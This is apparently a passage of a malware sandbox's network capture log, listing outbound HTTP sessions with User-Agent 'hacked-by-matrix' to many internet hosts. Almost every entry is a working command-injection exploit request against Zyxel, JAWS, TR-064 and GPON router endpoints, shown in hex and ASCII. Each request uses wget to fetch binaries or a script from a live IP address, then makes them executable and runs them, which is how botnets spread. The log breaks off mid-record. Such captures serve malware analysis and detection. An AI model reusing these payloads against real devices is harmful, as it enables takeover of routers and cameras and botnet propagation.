6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:37.788014889 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:00.312798977 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:43.314851046 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.23	48432	173.222.206.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.603718996 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:16.764710903 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:17:16 GMT Date: Thu, 21 Mar 2024 04:17:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 31 34 61 63 63 31 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 36 33 36 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.14acc117.1710994636.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.23	52848	135.181.119.62	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.638076067 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:17.726808071 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:17.928087950 CET	463	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:17 GMT Server: Apache Content-Length: 285 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at localhost Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.23	51466	125.151.230.141	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.638259888 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:17.547280073 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:18.462620020 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:18.769934893 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:17:18 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.23	50078	118.52.4.47	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.638432026 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:17.547527075 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:18.462584972 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.23	49420	108.157.64.209	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:16.638912916 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:17.732822895 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:17.936712027 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.23	45316	80.75.40.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:17.208817005 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:18.174704075 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.23	40726	5.78.166.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.076705933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.23	42830	79.146.1.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.076952934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.23	39462	2.192.220.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.076958895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.23	56764	2.56.3.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.077022076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.23	51706	104.100.33.114	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:18.085242033 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:18.622592926 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:19.230817080 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:19.324704885 CET	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Thu, 21 Mar 2024 04:17:19 GMT Date: Thu, 21 Mar 2024 04:17:19 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 34 33 33 33 32 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 36 33 39 26 23 34 36 3b 31 61 66 30 33 34 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 